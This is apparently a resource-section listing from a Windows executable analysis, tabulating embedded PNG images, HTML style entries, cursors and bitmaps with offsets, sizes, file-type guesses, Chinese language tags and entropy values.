PNG	0x2cbd36c	0x228	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	Chinese	China	1.019927536231884
PNG	0x2cbd594	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0077683615819208
PNG	0x2cbdb1c	0x38a	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0121412803532008
PNG	0x2cbdea8	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082706766917293
PNG	0x2cbe3dc	0x32f	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0134969325153373
PNG	0x2cbe70c	0xef8	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9950417536534447
PNG	0x2cbf604	0x7c	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9919354838709677
PNG	0x2cbf680	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021752026893416
PNG	0x2cc0a44	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0123180291153415
PNG	0x2cc0dc4	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0119956379498365
PNG	0x2cc115c	0x125e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023394300297745
PNG	0x2cc23bc	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021808088818398
PNG	0x2cc3770	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0126002290950744
PNG	0x2cc3adc	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0113168724279835
PNG	0x2cc3ea8	0x1320	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002246732026144
PNG	0x2cc51c8	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021842732327244
PNG	0x2cc6574	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012672811059908
PNG	0x2cc68d8	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0115303983228512
PNG	0x2cc6c94	0x1274	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023285351397122
PNG	0x2cc7f08	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021899263388414
PNG	0x2cc92a8	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0122767857142858
PNG	0x2cc9628	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0129411764705882
PNG	0x2cc997c	0x1288	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002318718381113
PNG	0x2ccac04	0x99d	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004469727752946
PNG	0x2ccb5a4	0x2e6	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0148247978436657
PNG	0x2ccb88c	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021838395870557
PNG	0x2cccc3c	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0126582278481013
PNG	0x2cccfa4	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012443438914027
PNG	0x2ccd318	0x126b	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023329798515377
PNG	0x2cce584	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.028301886792453
PNG	0x2cce658	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.00219473264166
PNG	0x2ccf9ec	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012443438914027
PNG	0x2ccfd60	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0108695652173914
PNG	0x2cd0154	0x1304	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0022596548890714
PNG	0x2cd1458	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021934197407776
PNG	0x2cd27f0	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0124575311438277
PNG	0x2cd2b64	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0132689987937273
PNG	0x2cd2ea4	0x119e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002439024390244
PNG	0x2cd4044	0xa6	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0120481927710843
PNG	0x2cd40ec	0x99d	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004469727752946
PNG	0x2cd4a8c	0x2f7	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0144927536231885
PNG	0x2cd4d84	0x17e	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0287958115183247
PNG	0x2cd4f04	0x71	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	Chinese	China	0.9911504424778761
PNG	0x2cd4f78	0x117	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	1.021505376344086
PNG	0x2cd5090	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9902912621359223
PNG	0x2cd50f8	0xd7	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0232558139534884
PNG	0x2cd51d0	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9733231707317073
PNG	0x2cd5c10	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0171073094867806
PNG	0x2cd5e94	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0136054421768708
PNG	0x2cd5f28	0x96a	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004564315352697
PNG	0x2cd6894	0x99b	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0044733631557543
PNG	0x2cd7230	0x2f7	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0144927536231885
PNG	0x2cd7528	0x1d3	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.019271948608137
PNG	0x2cd76fc	0x1f8	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0138888888888888
PNG	0x2cd78f4	0x67	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	Chinese	China	0.9514563106796117
PNG	0x2cd795c	0x95	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0
PNG	0x2cd79f4	0x39d	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011891891891892
PNG	0x2cd7d94	0x39d	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011891891891892
PNG	0x2cd8134	0x1c1	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.024498886414254
PNG	0x2cd82f8	0x153	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0324483775811208
PNG	0x2cd844c	0x15f	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0113960113960114
PNG	0x2cd85ac	0x100	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.03515625
PNG	0x2cd86ac	0x108	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.018939393939394
PNG	0x2cd87b4	0xb6	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.010989010989011
PNG	0x2cd886c	0x151	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.032640949554896
PNG	0x2cd89c0	0x135	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.029126213592233
PNG	0x2cd8af8	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9960440802486578
PNG	0x2cd98cc	0x129	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0303030303030303
PNG	0x2cd99f8	0x10b	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	Chinese	China	1.0337078651685394
PNG	0x2cd9b04	0x87	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	1.0074074074074073
PNG	0x2cd9b8c	0x12f	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	Chinese	China	1.0264026402640265
PNG	0x2cd9cbc	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009442060085837
PNG	0x2cda14c	0xdd1	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003109980209217
PNG	0x2cdaf20	0xd61	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0032116788321168
PNG	0x2cdbc84	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0179445350734095
PNG	0x2cdbeec	0xbb9	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036654448517162
PNG	0x2cdcaa8	0xc66	PNG image data, 10 x 28, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0034656584751103
PNG	0x2cdd710	0xb90	PNG image data, 10 x 28, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0037162162162163
PNG	0x2cde2a0	0xb07	PNG image data, 5 x 5, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003896563939072
PNG	0x2cdeda8	0xb50	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0037983425414365
PNG	0x2cdf8f8	0x2885	PNG image data, 42 x 348, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0010604453870626
PNG	0x2ce2180	0xd8e	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031700288184437
PNG	0x2ce2f10	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082150858849888
PNG	0x2ce344c	0x4f3	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0086819258089976
PNG	0x2ce3940	0x130f	PNG image data, 22 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0022545603607296
PNG	0x2ce4c50	0xe74	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002972972972973
PNG	0x2ce5ac4	0x11ba	PNG image data, 22 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002423975319524
PNG	0x2ce6c80	0xece	PNG image data, 11 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0029023746701846
PNG	0x2ce7b50	0x11ba	PNG image data, 22 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002423975319524
PNG	0x2ce8d0c	0xe74	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002972972972973
PNG	0x2ce9b80	0x1206	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023840485478976
PNG	0x2cead88	0x11bc	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0024229074889868
PNG	0x2cebf44	0x112a	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0025034137460174
PNG	0x2ced070	0x127a	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023255813953489
PNG	0x2cee2ec	0xd3e	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003244837758112
PNG	0x2cef02c	0xbac	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036813922356091
PNG	0x2cefbd8	0x146a	PNG image data, 56 x 69, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021048603138156
PNG	0x2cf1044	0x122f	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023630504833512
PNG	0x2cf2274	0xdec	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0030864197530864
PNG	0x2cf3060	0x1100	PNG image data, 42 x 228, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0025275735294117
PNG	0x2cf4160	0x11ed	PNG image data, 42 x 140, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023970363913706
PNG	0x2cf5350	0x1864	PNG image data, 42 x 330, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0003203074951954
PNG	0x2cf6bb4	0x10b5	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0025718961889174
PNG	0x2cf7c6c	0x124b	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023489216314327
PNG	0x2cf8eb8	0x1256	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023434171282488
PNG	0x2cfa110	0xf2c	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002832131822863
PNG	0x2cfb03c	0xede	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0028901734104045
PNG	0x2cfbf1c	0xf69	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0027883396704689
PNG	0x2cfce88	0xe20	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0030420353982301
PNG	0x2cfdca8	0xdc7	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031187978451943
PNG	0x2cfea70	0xbae	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036789297658864
PNG	0x2cff620	0xd91	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003167290526922
PNG	0x2d003b4	0xb12	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003881439661256
PNG	0x2d00ec8	0xbc3	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036532713384259
PNG	0x2d01a8c	0xc9f	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003404518724853
PNG	0x2d0272c	0xd7d	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031856356791196
PNG	0x2d034ac	0xbf7	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0035912504080966
PNG	0x2d040a4	0xc96	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0034140285536934
PNG	0x2d04d3c	0xd8c	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031718569780854
PNG	0x2d05ac8	0xbda	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036255767963085
PNG	0x2d066a4	0xca0	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0034034653465347
PNG	0x2d07344	0xd80	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031828703703705
PNG	0x2d080c4	0xbe2	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036160420775806
PNG	0x2d08ca8	0xc8c	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0034246575342465
PNG	0x2d09934	0xd7b	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031874818893074
PNG	0x2d0a6b0	0xbe7	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036101083032491
PNG	0x2d0b298	0xc94	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0034161490683229
PNG	0x2d0bf2c	0xd80	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031828703703705
PNG	0x2d0ccac	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.028301886792453
PNG	0x2d0cd80	0xbd0	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003637566137566
PNG	0x2d0d950	0xc97	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0034129692832765
PNG	0x2d0e5e8	0xd7a	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031884057971014
PNG	0x2d0f364	0xbda	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036255767963085
PNG	0x2d0ff40	0xc8f	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003421461897356
PNG	0x2d10bd0	0xd86	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0031773541305604
PNG	0x2d11958	0x1908	PNG image data, 50 x 178, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9887640449438202
PNG	0x2d13260	0xb75	PNG image data, 3 x 61, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0037504261847938
PNG	0x2d13dd8	0xbd0	PNG image data, 9 x 51, 8-bit/color RGBA, non-interlaced	Chinese	China	1.003637566137566
PNG	0x2d149a8	0x1570	PNG image data, 18 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0020043731778425
PNG	0x2d15f18	0x1623	PNG image data, 18 x 72, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0019410622904534
STYLE_XML	0x2d1753c	0x4e01	HTML document, ASCII text, with CRLF line terminators	Chinese	China	0.1839851770243878
STYLE_XML	0x2d1c340	0x4b09	HTML document, ASCII text, with CRLF line terminators	Chinese	China	0.20396689052006872
STYLE_XML	0x2d20e4c	0x4aa6	HTML document, ASCII text, with CRLF line terminators	Chinese	China	0.20460491889063318
STYLE_XML	0x2d258f4	0x4a18	HTML document, ASCII text, with CRLF line terminators	Chinese	China	0.20397511598481655
STYLE_XML	0x2d2a30c	0x1955	HTML document, ASCII text, with CRLF line terminators	Chinese	China	0.1918272937548188
RT_CURSOR	0x2d2bc64	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x2d2bd98	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_CURSOR	0x2d2be4c	0x134	data	Chinese	China	0.4090909090909091
RT_CURSOR	0x2d2bf80	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	Chinese	China	0.5944444444444444
RT_CURSOR	0x2d2c034	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\370\037\377\377\370\037\377\377\370\037\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.32142857142857145
RT_CURSOR	0x2d2c168	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	Chinese	China	0.49444444444444446
RT_CURSOR	0x2d2c21c	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\360\037\377\377\370?\377\377\374\177\377\377\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.33766233766233766
RT_CURSOR	0x2d2c350	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	Chinese	China	0.5
RT_CURSOR	0x2d2c404	0x134	AmigaOS bitmap font "(", fc_YSize 4294966787, 3840 elements, 2nd "\377\003\300\377\377\200\001\377\377\300\003\377\377\340\007\377\377\370\037\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.5616883116883117
RT_CURSOR	0x2d2c538	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	Chinese	China	0.5444444444444444
RT_CURSOR	0x2d2c5ec	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.36363636363636365
RT_CURSOR	0x2d2c720	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.35714285714285715
RT_CURSOR	0x2d2c854	0x134	data	Chinese	China	0.37337662337662336
RT_CURSOR	0x2d2c988	0x134	data	Chinese	China	0.37662337662337664
RT_CURSOR	0x2d2cabc	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x2d2cbf0	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x2d2cd24	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x2d2ce58	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.38636363636363635
RT_CURSOR	0x2d2cf8c	0x134	data	Chinese	China	0.44155844155844154
RT_CURSOR	0x2d2d0c0	0x134	data	Chinese	China	0.4155844155844156
RT_CURSOR	0x2d2d1f4	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.5422077922077922
RT_CURSOR	0x2d2d328	0x134	data	Chinese	China	0.2662337662337662
RT_CURSOR	0x2d2d45c	0x134	data	Chinese	China	0.2824675324675325
RT_CURSOR	0x2d2d590	0x134	data	Chinese	China	0.3246753246753247
RT_CURSOR	0x2d2d6c4	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4025974025974026
RT_CURSOR	0x2d2d7f8	0xb4	data	Chinese	China	0.55
RT_CURSOR	0x2d2d8ac	0x134	data	Chinese	China	0.20454545454545456
RT_CURSOR	0x2d2d9e0	0x134	data	Chinese	China	0.2857142857142857
RT_CURSOR	0x2d2db14	0x134	data	Chinese	China	0.4675324675324675
RT_CURSOR	0x2d2dc48	0x134	data	Chinese	China	0.2532467532467532
RT_CURSOR	0x2d2dd7c	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.40584415584415584
RT_CURSOR	0x2d2deb0	0x134	data	Chinese	China	0.4383116883116883
RT_CURSOR	0x2d2dfe4	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4967532467532468
RT_CURSOR	0x2d2e118	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	Chinese	China	0.39285714285714285
RT_CURSOR	0x2d2e24c	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4512987012987013
RT_CURSOR	0x2d2e380	0x134	data	Chinese	China	0.37337662337662336
RT_CURSOR	0x2d2e4b4	0x134	data	Chinese	China	0.4448051948051948
RT_CURSOR	0x2d2e5e8	0x134	data	Chinese	China	0.525974025974026
RT_BITMAP	0x2d2e71c	0x428	Device independent bitmap graphic, 128 x 15 x 4, image size 960	Chinese	China	0.3618421052631579
RT_BITMAP	0x2d2eb44	0x16aa	Device independent bitmap graphic, 128 x 15 x 24, image size 5762, resolution 2834 x 2834 px/m	Chinese	China	0.4658738366080662
RT_BITMAP	0x2d301f0	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	Chinese	China	0.4330357142857143
RT_BITMAP	0x2d302d0	0x2fa	Device independent bitmap graphic, 16 x 15 x 24, image size 722, resolution 2834 x 2834 px/m	Chinese	China	0.49606299212598426
RT_BITMAP	0x2d305cc	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240, 16 important colors	Chinese	China	0.4418604651162791
RT_BITMAP	0x2d30724	0x5ca	Device independent bitmap graphic, 32 x 15 x 24, image size 1442, resolution 2834 x 2834 px/m	Chinese	China	0.2699055330634278
RT_BITMAP	0x2d30cf0	0x1d0	Device independent bitmap graphic, 48 x 15 x 4, image size 360	Chinese	China	0.4245689655172414
RT_BITMAP	0x2d30ec0	0x89a	Device independent bitmap graphic, 48 x 15 x 24, image size 2162, resolution 2834 x 2834 px/m	Chinese	China	0.5449591280653951
RT_BITMAP	0x2d3175c	0x3b0	Device independent bitmap graphic, 112 x 15 x 4, image size 840	Chinese	China	0.4258474576271186
RT_BITMAP	0x2d31b0c	0x13da	Device independent bitmap graphic, 112 x 15 x 24, image size 0, resolution 2834 x 2834 px/m	Chinese	China	0.3173947264856356
RT_BITMAP	0x2d32ee8	0x428	Device independent bitmap graphic, 128 x 15 x 4, image size 960	Chinese	China	0.43045112781954886
RT_BITMAP	0x2d33310	0x16aa	Device independent bitmap graphic, 128 x 15 x 24, image size 5762, resolution 2834 x 2834 px/m	Chinese	China	0.290934160634264
RT_BITMAP	0x2d349bc	0x248	Device independent bitmap graphic, 64 x 15 x 4, image size 480	Chinese	China	0.386986301369863
RT_BITMAP	0x2d34c04	0xb6a	Device independent bitmap graphic, 64 x 15 x 24, image size 2882, resolution 2834 x 2834 px/m	Chinese	China	0.2950034223134839
RT_BITMAP	0x2d35770	0x62c	Device independent bitmap graphic, 324 x 9 x 4, image size 1476	Chinese	China	0.2430379746835443
RT_BITMAP	0x2d35d9c	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	Chinese	China	0.5818965517241379
RT_BITMAP	0x2d35e84	0x4a0	Device independent bitmap graphic, 144 x 15 x 4, image size 1080	Chinese	China	0.3783783783783784
RT_BITMAP	0x2d36324	0x197a	Device independent bitmap graphic, 144 x 15 x 24, image size 6482, resolution 2834 x 2834 px/m	Chinese	China	0.380098129408157
RT_BITMAP	0x2d37ca0	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	Chinese	China	0.51
RT_BITMAP	0x2d37d68	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	Chinese	China	0.515
RT_BITMAP	0x2d37e30	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	Chinese	China	0.43
RT_BITMAP	0x2d37ef8	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	Chinese	China	0.44
RT_BITMAP	0x2d37fc0	0x182a	Device independent bitmap graphic, 128 x 16 x 24, image size 6146, resolution 2834 x 2834 px/m	Chinese	China	0.2924345295829292
RT_BITMAP	0x2d397ec	0x468	Device independent bitmap graphic, 128 x 16 x 4, image size 1024	Chinese	China	0.3058510638297872
RT_BITMAP	0x2d39c54	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256	Chinese	China	0.4803030303030303
RT_BITMAP	0x2d3a17c	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256	Chinese	China	0.4765151515151515
RT_BITMAP	0x2d3a6a4	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240	Chinese	China	0.41569767441860467
RT_BITMAP	0x2d3a7fc	0x188	Device independent bitmap graphic, 48 x 12 x 4, image size 288	Chinese	China	0.39285714285714285
RT_BITMAP	0x2d3a984	0x1e8	Device independent bitmap graphic, 48 x 16 x 4, image size 384	Chinese	China	0.5081967213114754
RT_BITMAP	0x2d3ab6c	0xad2	Device independent bitmap graphic, 29 x 31 x 24, image size 2730, resolution 2834 x 2834 px/m	Chinese	China	0.18736462093862816
RT_BITMAP	0x2d3b640	0xad2	Device independent bitmap graphic, 29 x 31 x 24, image size 2730, resolution 2834 x 2834 px/m	Chinese	China	0.1844765342960289
RT_BITMAP	0x2d3c114	0xb0a	Device independent bitmap graphic, 31 x 29 x 24, image size 2786, resolution 2834 x 2834 px/m	Chinese	China	0.19497523000707714
RT_BITMAP	0x2d3cc20	0x7e2	Device independent bitmap graphic, 25 x 26 x 24, image size 1978, resolution 2834 x 2834 px/m	Chinese	China	0.24033696729435083
RT_BITMAP	0x2d3d404	0xb0a	Device independent bitmap graphic, 31 x 29 x 24, image size 2786, resolution 2834 x 2834 px/m	Chinese	China	0.1935598018400566
RT_BITMAP	0x2d3df10	0x134	Device independent bitmap graphic, 17 x 17 x 4, image size 204	Chinese	China	0.37337662337662336
RT_BITMAP	0x2d3e044	0x928	Device independent bitmap graphic, 48 x 16 x 24, image size 0, resolution 2834 x 2834 px/m	Chinese	China	0.533703071672355
RT_BITMAP	0x2d3e96c	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	Chinese	China	0.7518518518518519
RT_BITMAP	0x2d3ec98	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	Chinese	China	0.3790123456790123
RT_BITMAP	0x2d3efc4	0xc2a	Device independent bitmap graphic, 64 x 16 x 24, image size 3074, resolution 2834 x 2834 px/m	Chinese	China	0.42485549132947975
